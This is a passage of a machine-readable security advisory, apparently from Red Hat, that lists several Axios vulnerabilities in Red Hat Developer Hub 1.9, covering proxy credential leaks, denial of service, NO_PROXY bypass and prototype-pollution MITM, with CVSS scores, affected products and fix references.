"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc",
"url": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"
}
],
"release_date": "2026-06-11T15:39:07.714000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects"
},
{
"cve": "CVE-2026-44487",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:34.091476+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487948"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via redirect flows",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in Axios affecting Node.js environments. When an application uses Axios with an authenticated HTTP proxy and follows redirects from an HTTP to a non-proxied HTTPS destination, the Proxy-Authorization header may be inadvertently sent to the final origin server. This could lead to the exposure of sensitive proxy credentials to an unintended third party.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "RHBZ#2487948",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487948"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v",
"url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
}
],
"release_date": "2026-06-11T15:38:25.150000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via redirect flows"
},
{
"cve": "CVE-2026-44488",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-06-11T17:01:36.836488+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487949"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. When using the fetch adapter, Axios did not properly enforce configured request and response size limits. This vulnerability allows a remote attacker, through a malicious or compromised server, or by supplying a large data URL, to send or receive oversized data bodies. This can lead to resource exhaustion in server-side applications, resulting in a Denial of Service (DoS).",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Denial of Service due to unenforced request and response size limits",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A denial of service flaw was found in Axios, a JavaScript HTTP client library. This issue arises when applications utilize the `fetch` adapter, as configured request and response size limits are not properly enforced. A remote attacker could exploit this by sending or receiving excessively large data bodies, leading to resource exhaustion and potential denial of service in affected server-side applications.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "RHBZ#2487949",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487949"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf"
}
],
"release_date": "2026-06-11T15:37:38.013000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Denial of Service due to unenforced request and response size limits"
},
{
"cve": "CVE-2026-44492",
"cwe": {
"id": "CWE-289",
"name": "Authentication Bypass by Alternate Name"
},
"discovery_date": "2026-06-11T17:00:56.761751+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487938"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not properly normalize IPv4-mapped IPv6 addresses. When a NO_PROXY setting is configured to block direct access to specific IPv4 addresses, an attacker can bypass this restriction by using the IPv4-mapped IPv6 form of the address in a request URL. This allows the request to be routed through the proxy, potentially exposing internal services or sensitive information that should otherwise be inaccessible.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw in Axios, a JavaScript HTTP client library, that allows for a proxy bypass. When a `NO_PROXY` environment variable is configured to prevent direct connections to specific IPv4 addresses, an attacker can craft a request URL using the IPv4-mapped IPv6 address format. This bypasses the intended `NO_PROXY` exclusion, routing the request through the configured proxy and potentially exposing internal services or sensitive information, such as cloud instance metadata credentials.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "RHBZ#2487938",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
}
],
"release_date": "2026-06-11T15:29:13.890000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization"
},
{
"cve": "CVE-2026-44494",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:01:12.945664+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487942"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to escalate any existing Object.prototype pollution in an application\u0027s dependency tree into a full Man-in-the-Middle (MITM) attack. This enables the attacker to intercept, read, and modify all HTTP traffic, including sensitive authentication credentials. The flaw occurs because the `config.proxy` setting is susceptible to prototype pollution, allowing an attacker to inject a malicious proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in the Axios library allows an attacker to escalate existing prototype pollution vulnerabilities within an application\u0027s dependency tree into a full Man-in-the-Middle (MITM) attack. By injecting a malicious proxy configuration into the `Object.prototype`, an attacker can intercept, read, and modify all HTTP traffic, including sensitive authentication credentials, without direct user interaction. This poses a significant risk to data confidentiality and integrity in Red Hat products that utilize the Axios library.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44494"
},
{
"category": "external",
"summary": "RHBZ#2487942",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487942"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh",
"url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
}
],
"release_date": "2026-06-11T15:32:03.155000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution"
},
{
"cve": "CVE-2026-44495",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:00:53.999811+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487937"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure due to prototype pollution vulnerability",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important vulnerability in Axios, a promise-based HTTP client, can lead to information disclosure, including credential theft and response hijacking, or denial of service. Exploitation requires a separate prototype pollution vulnerability in the same JavaScript process, allowing an attacker to control `Object.prototype.transformResponse`. Red Hat products using affected Axios versions are at risk if another component introduces such pollution.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "RHBZ#2487937",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487937"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
}
],
"release_date": "2026-06-11T15:33:12.433000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
